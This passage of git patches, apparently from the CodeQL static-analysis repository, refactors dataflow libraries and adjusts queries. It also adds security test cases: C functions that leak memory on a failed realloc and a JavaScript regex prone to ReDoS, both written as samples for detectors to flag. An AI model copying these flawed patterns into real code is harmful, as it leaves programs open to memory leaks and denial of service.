Deconstruct | parameter | 32 | +| Parameter 8 of FilterCustomAttributeRecord | parameter | 32 | +| Parameter 8 of GetMarshalAs | parameter | 32 | +| Parameter 8 of TZif_ParsePosixFormat | parameter | 32 | +| Parameter 8 of TZif_ParseRaw | parameter | 32 | +| Parameter 8 of TryCreateDateTime | parameter | 32 | +| Parameter 8 of TryParseInt32Enum | parameter | 32 | +| Parameter 8 of _GetMarshalAs | parameter | 32 | +| Parameter 9 of AssignAssociates | parameter | 32 | +| Parameter 9 of BeginInvoke | parameter | 32 | +| Parameter 9 of Convert | parameter | 32 | +| Parameter 9 of Deconstruct | parameter | 32 | +| Parameter 9 of FilterCustomAttributeRecord | parameter | 32 | +| Parameter 9 of GetMarshalAs | parameter | 32 | +| Parameter 9 of Invoke | parameter | 32 | +| Parameter 9 of TryToDateTime | parameter | 32 | +| Parameter 9 of _GetMarshalAs | parameter | 32 | +| Parameter 10 of AssignAssociates | parameter | 32 | +| Parameter 10 of BeginInvoke | parameter | 32 | +| Parameter 10 of Convert | parameter | 32 | +| Parameter 10 of Deconstruct | parameter | 32 | +| Parameter 10 of FilterCustomAttributeRecord | parameter | 32 | +| Parameter 10 of Invoke | parameter | 32 | +| Parameter 10 of TryCreateDateTimeOffset | parameter | 32 | +| Parameter 10 of _GetMarshalAs | parameter | 32 | +| Parameter 11 of AssignAssociates | parameter | 32 | +| Parameter 11 of BeginInvoke | parameter | 32 | +| Parameter 11 of Deconstruct | parameter | 32 | +| Parameter 11 of Invoke | parameter | 32 | +| Parameter 12 of Deconstruct | parameter | 32 | +| Parameter 13 of Deconstruct | parameter | 32 | +| Parameter 14 of Deconstruct | parameter | 32 | +| Parameter 15 of Deconstruct | parameter | 32 | +| Parameter 16 of Deconstruct | parameter | 32 | +| Parameter 17 of Deconstruct | parameter | 32 | +| Parameter 18 of Deconstruct | parameter | 32 | +| Parameter 19 of Deconstruct | parameter | 32 | +| Parameter 20 of Deconstruct | parameter | 32 | +| Parameter 21 of Deconstruct | parameter | 32 | +| get_Current | method | 32 | +| get_EventHandle | method | 32 | +| get_Item | method | 32 | +| get_OffsetHigh | method | 32 | +| get_OffsetLow | method | 32 | +| get_Value | method | 32 | +| property Current | property | 32 | +| property EventHandle | property | 32 | +| property Item | property | 32 | +| property OffsetHigh | property | 32 | +| property OffsetLow | property | 32 | +| property Value | property | 32 | diff --git a/csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.ql b/csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.ql new file mode 100644 index 00000000000..6544f049f7c --- /dev/null +++ b/csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.ql @@ -0,0 +1,25 @@ +import cil +import semmle.code.cil.Type + +private string elementType(Element e) { + e instanceof Method and result = "method" + or + e instanceof Property and result = "property" + or + e instanceof Parameter and result = "parameter" + or + e instanceof LocalVariable and result = "local" + or + e instanceof FunctionPointerType and result = "fnptr" + or + not e instanceof Method and + not e instanceof Property and + not e instanceof Parameter and + not e instanceof LocalVariable and + not e instanceof FunctionPointerType and + result = "other" +} + +from Element e, int i +where cil_type_annotation(e, i) +select e.toString(), elementType(e), i From ab8dc27b267d479056f9cbe1a4f1cadc583c49ee Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 13 Jan 2021 17:17:41 +0100 Subject: [PATCH 0735/1241] Add missing 'bindingset' --- .../test/library-tests/cil/functionPointers/functionPointers.ql | 1 + 1 file changed, 1 insertion(+) diff --git a/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql index 9dbeb467e24..ddc6671d358 100644 --- a/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql +++ b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql @@ -4,6 +4,7 @@ import semmle.code.cil.Type bindingset[kind] private string getKind(int kind) { if kind = 1 then result = "modreq" else result = "modopt" } +bindingset[t, e] private string getAnnotatedType(Type t, Element e) { cil_type_annotation(e, 32) and result = t.toString() + "&" or From b0e255eb16c3486f968abfcc7395cbecea47afae Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 20 Jan 2021 15:45:37 +0100 Subject: [PATCH 0736/1241] C++: Encapsulate skipSkippableInstructions in a module. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 30 ++---- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 98 +++++++++++-------- 2 files changed, 61 insertions(+), 67 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index d9f23d00c8d..422c63559ce 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -240,7 +240,7 @@ private predicate instrToFieldNodeStoreStepNoChi( exists(StoreInstruction store, PartialFieldDefinition pd | pd = node2.getPartialDefinition() and not exists(ChiInstruction chi | chi.getPartial() = store) and - pd.getPreUpdateNode() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and + pd.getPreUpdateNode() = GetFieldNode::fromInstruction(store.getDestinationAddress()) and store.getSourceValueOperand() = node1.asOperand() and f.getADirectField() = pd.getPreUpdateNode().getField() ) @@ -262,7 +262,7 @@ private predicate instrToFieldNodeStoreStepChi( node1.asOperand() = operand and chi.getPartialOperand() = operand and store = operand.getDef() and - pd.getPreUpdateNode() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and + pd.getPreUpdateNode() = GetFieldNode::fromInstruction(store.getDestinationAddress()) and f.getADirectField() = pd.getPreUpdateNode().getField() ) } @@ -277,7 +277,7 @@ private predicate callableWithoutDefinitionStoreStep( chi.getPartial() = write and not chi.isResultConflated() and pd = node2.getPartialDefinition() and - pd.getPreUpdateNode() = getFieldNodeForFieldInstruction(write.getDestinationAddress()) and + pd.getPreUpdateNode() = GetFieldNode::fromInstruction(write.getDestinationAddress()) and f.getADirectField() = pd.getPreUpdateNode().getField() and call = write.getPrimaryInstruction() and callable = call.getStaticCallTarget() and @@ -346,24 +346,6 @@ private class ArrayToPointerConvertInstruction extends ConvertInstruction { } } -/** - * These two predicates look like copy-paste from the two predicates with the same name in DataFlowUtil, - * but crucially they only skip past `CopyValueInstruction`s. This is because we use a special case of - * a `ConvertInstruction` to detect some read steps from arrays that undergoes array-to-pointer - * conversion. - */ -private Instruction skipOneCopyValueInstructionRec(CopyValueInstruction copy) { - copy.getUnary() = result and not result instanceof CopyValueInstruction - or - result = skipOneCopyValueInstructionRec(copy.getUnary()) -} - -private Instruction skipCopyValueInstructions(Operand op) { - not result instanceof CopyValueInstruction and result = op.getDef() - or - result = skipOneCopyValueInstructionRec(op.getDef()) -} - private class InexactLoadOperand extends LoadOperand { InexactLoadOperand() { this.isDefinitionInexact() } } @@ -407,12 +389,12 @@ private predicate instrToFieldNodeReadStep(FieldNode node1, FieldContent f, Node ( exists(LoadInstruction load | node2.asInstruction() = load and - node1 = getFieldNodeForFieldInstruction(load.getSourceAddress()) + node1 = GetFieldNode::fromInstruction(load.getSourceAddress()) ) or exists(ReadSideEffectInstruction read | node2.asOperand() = read.getSideEffectOperand() and - node1 = getFieldNodeForFieldInstruction(read.getArgumentDef()) + node1 = GetFieldNode::fromInstruction(read.getArgumentDef()) ) ) ) and @@ -424,7 +406,7 @@ private int unbindInt(int i) { i <= result and i >= result } pragma[noinline] private FieldNode getFieldNodeFromLoadOperand(LoadOperand loadOperand) { - result = getFieldNodeForFieldInstruction(loadOperand.getAddressOperand().getDef()) + result = GetFieldNode::fromOperand(loadOperand.getAddressOperand()) } /** diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index f7eaaf7f2e1..3608c2c68fe 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -185,54 +185,66 @@ class OperandNode extends Node, TOperandNode { override string toString() { result = this.getOperand().toString() } } -/** An abstract class that defines conversion-like instructions. */ -abstract private class SkippableInstruction extends Instruction { - abstract Instruction getSourceInstruction(); -} - /** - * Gets the instruction that is propaged through a non-empty sequence of conversion-like instructions. + * INTERNAL: do not use. Encapsulates the details of getting a `FieldNode` from + * an `Instruction` or an `Operand`. */ -private Instruction skipSkippableInstructionsRec(SkippableInstruction skip) { - result = skip.getSourceInstruction() and not result instanceof SkippableInstruction - or - result = skipSkippableInstructionsRec(skip.getSourceInstruction()) -} +module GetFieldNode { + /** An abstract class that defines conversion-like instructions. */ + abstract private class SkippableInstruction extends Instruction { + abstract Instruction getSourceInstruction(); + } -/** - * Gets the instruction that is propagated through a (possibly empty) sequence of conversion-like - * instructions. - */ -private Instruction skipSkippableInstructions(Instruction instr) { - result = instr and not result instanceof SkippableInstruction - or - result = skipSkippableInstructionsRec(instr) -} + /** + * Gets the instruction that is propaged through a non-empty sequence of conversion-like instructions. + */ + private Instruction skipSkippableInstructionsRec(SkippableInstruction skip) { + result = skip.getSourceInstruction() and not result instanceof SkippableInstruction + or + result = skipSkippableInstructionsRec(skip.getSourceInstruction()) + } -private class SkippableCopyValueInstruction extends SkippableInstruction, CopyValueInstruction { - override Instruction getSourceInstruction() { result = this.getSourceValue() } -} + /** + * Gets the instruction that is propagated through a (possibly empty) sequence of conversion-like + * instructions. + */ + private Instruction skipSkippableInstructions(Instruction instr) { + result = instr and not result instanceof SkippableInstruction + or + result = skipSkippableInstructionsRec(instr) + } -private class SkippableConvertInstruction extends SkippableInstruction, ConvertInstruction { - override Instruction getSourceInstruction() { result = this.getUnary() } -} + private class SkippableCopyValueInstruction extends SkippableInstruction, CopyValueInstruction { + override Instruction getSourceInstruction() { result = this.getSourceValue() } + } -private class SkippableCheckedConvertInstruction extends SkippableInstruction, - CheckedConvertOrNullInstruction { - override Instruction getSourceInstruction() { result = this.getUnary() } -} + private class SkippableConvertInstruction extends SkippableInstruction, ConvertInstruction { + override Instruction getSourceInstruction() { result = this.getUnary() } + } -private class SkippableInheritanceConversionInstruction extends SkippableInstruction, - InheritanceConversionInstruction { - override Instruction getSourceInstruction() { result = this.getUnary() } -} + private class SkippableCheckedConvertInstruction extends SkippableInstruction, + CheckedConvertOrNullInstruction { + override Instruction getSourceInstruction() { result = this.getUnary() } + } -/** - * INTERNAL: do not use. Gets the `FieldNode` corresponding to `instr`, if - * `instr` is an instruction that propagates an address of a `FieldAddressInstruction`. - */ -FieldNode getFieldNodeForFieldInstruction(Instruction instr) { - result.getFieldInstruction() = skipSkippableInstructions(instr) + private class SkippableInheritanceConversionInstruction extends SkippableInstruction, + InheritanceConversionInstruction { + override Instruction getSourceInstruction() { result = this.getUnary() } + } + + /** + * INTERNAL: do not use. Gets the `FieldNode` corresponding to `instr`, if + * `instr` is an instruction that propagates an address of a `FieldAddressInstruction`. + */ + FieldNode fromInstruction(Instruction instr) { + result.getFieldInstruction() = skipSkippableInstructions(instr) + } + + /** + * INTERNAL: do not use. Gets the `FieldNode` corresponding to `op`, if the definition + * of `op` is an instruction that propagates an address of a `FieldAddressInstruction`. + */ + FieldNode fromOperand(Operand op) { result = fromInstruction(op.getDef()) } } /** @@ -265,7 +277,7 @@ class FieldNode extends Node, TFieldNode { * gives the `FieldNode` of `b`, and `f.getObjectNode().getObjectNode()` has no result as `a` is * not a field. */ - FieldNode getObjectNode() { result = getFieldNodeForFieldInstruction(field.getObjectAddress()) } + FieldNode getObjectNode() { result = GetFieldNode::fromInstruction(field.getObjectAddress()) } /** * Gets the `FieldNode` that has this `FieldNode` as parent, if any. @@ -683,7 +695,7 @@ private predicate flowOutOfPostUpdate(PartialDefinitionNode nodeFrom, Node nodeT exists(AddressOperand addressOperand, PartialFieldDefinition pd | pd = nodeFrom.getPartialDefinition() and not exists(pd.getPreUpdateNode().getObjectNode()) and - pd.getPreUpdateNode().getNextNode*() = getFieldNodeForFieldInstruction(addressOperand.getDef()) and + pd.getPreUpdateNode().getNextNode*() = GetFieldNode::fromOperand(addressOperand) and ( exists(ChiInstruction chi | nodeTo.asInstruction() = chi and @@ -711,7 +723,7 @@ private predicate flowOutOfPostUpdate(PartialDefinitionNode nodeFrom, Node nodeT */ private FieldNode getOutermostFieldNode(Instruction address) { not exists(result.getObjectNode()) and - result.getNextNode*() = getFieldNodeForFieldInstruction(address) + result.getNextNode*() = GetFieldNode::fromInstruction(address) } private predicate flowIntoReadNode(Node nodeFrom, FieldNode nodeTo) { From bf518f1c90a0bd8723a507a4ea634f4e58cd7459 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Wed, 20 Jan 2021 15:48:12 +0100 Subject: [PATCH 0737/1241] flag less overly general functions with js/unneeded-defensive-code --- .../ql/src/Expressions/UnneededDefensiveProgramming.ql | 3 +++ .../Expressions/UnneededDefensiveProgramming/tst.js | 7 +++++++ 2 files changed, 10 insertions(+) diff --git a/javascript/ql/src/Expressions/UnneededDefensiveProgramming.ql b/javascript/ql/src/Expressions/UnneededDefensiveProgramming.ql index 810f48e2275..8e5cd8cf431 100644 --- a/javascript/ql/src/Expressions/UnneededDefensiveProgramming.ql +++ b/javascript/ql/src/Expressions/UnneededDefensiveProgramming.ql @@ -51,5 +51,8 @@ where or // too benign in practice e instanceof DefensiveExpressionTest::DefensiveInit + or + // functions might be written overly general + e.getALocalSource() instanceof DataFlow::ParameterNode ) select e, "This guard always evaluates to " + cv + "." diff --git a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst.js b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst.js index 3033a9e0c92..ace5a3dd7ac 100644 --- a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst.js +++ b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst.js @@ -176,4 +176,11 @@ u && (u.p, f()); // technically not OK, but it seems like an unlikely pattern u && !u.p; // NOT OK u && !u(); // NOT OK + + + function hasCallbacks(success, error) { + if (success) success() + if (error) error() + } + hasCallbacks(() => {}, null); }); From 3fc085ff38cae5de0ce9b9d776c670aed1fe9376 Mon Sep 17 00:00:00 2001 From: yoff <lerchedahl@gmail.com> Date: Wed, 20 Jan 2021 16:11:40 +0100 Subject: [PATCH 0738/1241] Update python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll Co-authored-by: Rasmus Wriedt Larsen <rasmuswriedtlarsen@gmail.com> --- python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll b/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll index eb685cc3ac1..8224a510ef1 100644 --- a/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll +++ b/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll @@ -4,7 +4,7 @@ import TestUtilities.InlineExpectationsTest import experimental.dataflow.TestUtil.PrintNode /** - * A routing test is designed to test that vlues are routed to the + * A routing test is designed to test that values are routed to the * correct arguments of the correct functions. It is assumed that * the functions tested sink their arguments sequentially, that is * `SINK1(arg1)`, etc. From 439fe41b0afc2af6ecb0ef54c01f7749ea32f408 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 20 Jan 2021 15:33:32 +0000 Subject: [PATCH 0739/1241] C++: Add a couple more test cases. --- .../Security/CWE/CWE-401/semmle/tests/test.c | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c index d125d85607d..514945ea91a 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c @@ -319,3 +319,28 @@ unsigned char *noBadResize_4_1(unsigned char *buffer, size_t currentSize, size_t return buffer; } + +unsigned char * badResize_5_2(unsigned char *buffer, size_t currentSize, size_t newSize, int cond) +{ + // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block [NOT DETECTED] + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + if (cond) + { + abort(); // irrelevant + } + return buffer; +} + +unsigned char * badResize_5_1(unsigned char *buffer, size_t currentSize, size_t newSize, int cond) +{ + // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block [NOT DETECTED] + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + assert(cond); // irrelevant + } + return buffer; +} From e072864948ba65a7bb954f4efd4e054d6ca6ad8b Mon Sep 17 00:00:00 2001 From: yoff <lerchedahl@gmail.com> Date: Wed, 20 Jan 2021 17:38:34 +0100 Subject: [PATCH 0740/1241] Apply suggestions from code review Co-authored-by: Taus <tausbn@github.com> --- .../src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll | 2 +- .../src/semmle/python/dataflow/new/internal/DataFlowPublic.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index b7c38fdd605..9dd1103d0e6 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -148,7 +148,7 @@ module EssaFlow { contextManager.strictlyDominates(var) ) or - // Paramter definition + // Parameter definition // `def foo(x):` // nodeFrom is `x`, cfgNode // nodeTo is `x`, essa var diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index 92ff51b155b..0a9a4c44a76 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -64,7 +64,7 @@ newtype TNode = /** * A synthetic node representing that an iterable sequence flows to consumer. */ - TIterableSequence(UnpackingAssignmentTarget consumer) { consumer instanceof SequenceNode } or + TIterableSequence(UnpackingAssignmentSequenceTarget consumer) or /** * A synthetic node representing that there may be an iterable element * for `consumer` to consume. From 5c6f5b7b33311d5a0072361c0828af0d3077a1a2 Mon Sep 17 00:00:00 2001 From: Luke Cartey <5377966+lcartey@users.noreply.github.com> Date: Wed, 20 Jan 2021 16:53:03 +0000 Subject: [PATCH 0741/1241] Java: Track taint through Spring Java bean getters on super types --- .../code/java/dataflow/internal/TaintTrackingUtil.qll | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/java/ql/src/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll b/java/ql/src/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll index b627d59783f..35f820f9521 100644 --- a/java/ql/src/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll +++ b/java/ql/src/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll @@ -345,7 +345,9 @@ private predicate taintPreservingQualifierToMethod(Method m) { m.getDeclaringType() instanceof TypeUri and m.hasName("toURL") or - m instanceof GetterMethod and m.getDeclaringType() instanceof SpringUntrustedDataType + m instanceof GetterMethod and + m.getDeclaringType().getASubtype*() instanceof SpringUntrustedDataType and + not m.getDeclaringType() instanceof TypeObject or m.getDeclaringType() instanceof SpringHttpEntity and m.getName().regexpMatch("getBody|getHeaders") @@ -684,7 +686,8 @@ private class FormatterCallable extends TaintPreservingCallable { ( this.hasName(["format", "out", "toString"]) or - this.(Constructor) + this + .(Constructor) .getParameterType(0) .(RefType) .getASourceSupertype*() From d5d8b482181d890b3dd555838fa52e902dbbccaa Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 20 Jan 2021 15:36:18 +0000 Subject: [PATCH 0742/1241] C++: More accurate solution using Guards library. --- .../CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql | 7 ++++++- .../semmle/tests/MemoryLeakOnFailedCallToRealloc.expected | 2 ++ .../query-tests/Security/CWE/CWE-401/semmle/tests/test.c | 4 ++-- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql index d6ae493cbf5..1578bff1407 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql @@ -12,6 +12,7 @@ */ import cpp +import semmle.code.cpp.controlflow.Guards /** * A function call that potentially does not return (such as `exit`). @@ -48,7 +49,11 @@ class ReallocCallLeak extends FunctionCall { * example a call to `exit()`. */ predicate mayHandleByTermination() { - this.(ControlFlowNode).getASuccessor*() instanceof CallMayNotReturn + exists(GuardCondition guard, CallMayNotReturn exit | + this.(ControlFlowNode).getASuccessor*() = guard and + guard.getAChild*() = v.getAnAccess() and + guard.controls(exit.getBasicBlock(), _) + ) } } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected index adedc030f5f..b40e19c7559 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected @@ -4,3 +4,5 @@ | test.c:186:29:186:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | | test.c:282:29:282:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | | test.c:299:26:299:32 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:328:29:328:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:342:29:342:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c index 514945ea91a..df33fc19ef6 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c @@ -322,7 +322,7 @@ unsigned char *noBadResize_4_1(unsigned char *buffer, size_t currentSize, size_t unsigned char * badResize_5_2(unsigned char *buffer, size_t currentSize, size_t newSize, int cond) { - // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block [NOT DETECTED] + // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block if (currentSize < newSize) { buffer = (unsigned char *)realloc(buffer, newSize); @@ -336,7 +336,7 @@ unsigned char * badResize_5_2(unsigned char *buffer, size_t currentSize, size_t unsigned char * badResize_5_1(unsigned char *buffer, size_t currentSize, size_t newSize, int cond) { - // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block [NOT DETECTED] + // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block if (currentSize < newSize) { buffer = (unsigned char *)realloc(buffer, newSize); From a44aefa6c987609748edd6d00beb260ef7a8ef23 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Wed, 20 Jan 2021 14:54:39 +0100 Subject: [PATCH 0743/1241] add test for top-level closure modules - and simplify --- javascript/ql/src/semmle/javascript/PackageExports.qll | 5 +---- .../Performance/ReDoS/PolynomialBackTracking.expected | 1 + .../Performance/ReDoS/PolynomialReDoS.expected | 9 +++++++++ .../ql/test/query-tests/Performance/ReDoS/lib/closure.js | 5 +++++ .../ql/test/query-tests/Performance/ReDoS/lib/lib.js | 4 +++- 5 files changed, 19 insertions(+), 5 deletions(-) create mode 100644 javascript/ql/test/query-tests/Performance/ReDoS/lib/closure.js diff --git a/javascript/ql/src/semmle/javascript/PackageExports.qll b/javascript/ql/src/semmle/javascript/PackageExports.qll index 350a6301dd3..bdb0c297411 100644 --- a/javascript/ql/src/semmle/javascript/PackageExports.qll +++ b/javascript/ql/src/semmle/javascript/PackageExports.qll @@ -78,10 +78,7 @@ private DataFlow::Node getAValueExportedByPackage() { private DataFlow::Node getAnExportFromModule(Module mod) { result.analyze().getAValue() = mod.(NodeModule).getAModuleExportsValue() or - exists(Variable var | var = mod.(Closure::ClosureModule).getExportsVariable() | - result.asExpr() = var.getAReference() or - result.asExpr() = var.getAnAssignedExpr() - ) + result = mod.(Closure::ClosureModule).getExportsVariable().getAnAssignedExpr().flow() or result.analyze().getAValue() = mod.(AmdModule).getDefine().getAModuleExportsValue() or diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index fcd8c43cd7c..8452d81ee07 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -24,6 +24,7 @@ | highlight.js:38:54:38:59 | [^()]* | Strings starting with 'A((' and with many repetitions of ''' can start matching anywhere after the start of the preceeding [^()]* | | highlight.js:38:64:38:69 | [^()]* | Strings starting with 'A(' and with many repetitions of ''' can start matching anywhere after the start of the preceeding [^()]* | | highlight.js:39:22:39:24 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding [a-zA-Z_]\\w*\\([^()]*(\\([^()]*(\\([^()]*\\)[^()]*)*\\)[^()]*)*\\)\\s*\\{ | +| lib/closure.js:4:6:4:7 | u* | Strings with many repetitions of 'u' can start matching anywhere after the start of the preceeding u*o | | lib/lib.js:1:15:1:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding a*b | | lib/lib.js:8:3:8:4 | f* | Strings with many repetitions of 'f' can start matching anywhere after the start of the preceeding f*g | | polynomial-redos.js:7:24:7:26 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s+$ | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected index 9e5619f1aa3..d40e70d0fc6 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected @@ -1,4 +1,8 @@ nodes +| lib/closure.js:3:21:3:21 | x | +| lib/closure.js:3:21:3:21 | x | +| lib/closure.js:4:16:4:16 | x | +| lib/closure.js:4:16:4:16 | x | | lib/lib.js:3:28:3:31 | name | | lib/lib.js:3:28:3:31 | name | | lib/lib.js:4:14:4:17 | name | @@ -150,6 +154,10 @@ nodes | polynomial-redos.js:124:12:124:17 | result | | polynomial-redos.js:124:12:124:17 | result | edges +| lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x | +| lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x | +| lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x | +| lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x | | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | @@ -296,6 +304,7 @@ edges | polynomial-redos.js:123:3:123:20 | result | polynomial-redos.js:124:12:124:17 | result | | polynomial-redos.js:123:13:123:20 | replaced | polynomial-redos.js:123:3:123:20 | result | #select +| lib/closure.js:4:5:4:17 | /u*o/.test(x) | lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x | This $@ that depends on $@ may run slow on strings with many repetitions of 'u'. | lib/closure.js:4:6:4:7 | u* | regular expression | lib/closure.js:3:21:3:21 | x | library input | | lib/lib.js:4:2:4:18 | regexp.test(name) | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/lib.js:1:15:1:16 | a* | regular expression | lib/lib.js:3:28:3:31 | name | library input | | lib/lib.js:8:2:8:17 | /f*g/.test(name) | lib/lib.js:7:19:7:22 | name | lib/lib.js:8:13:8:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:8:3:8:4 | f* | regular expression | lib/lib.js:7:19:7:22 | name | library input | | polynomial-redos.js:7:2:7:34 | tainted ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:7:2:7:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:7:24:7:26 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/lib/closure.js b/javascript/ql/test/query-tests/Performance/ReDoS/lib/closure.js new file mode 100644 index 00000000000..4f5ca816870 --- /dev/null +++ 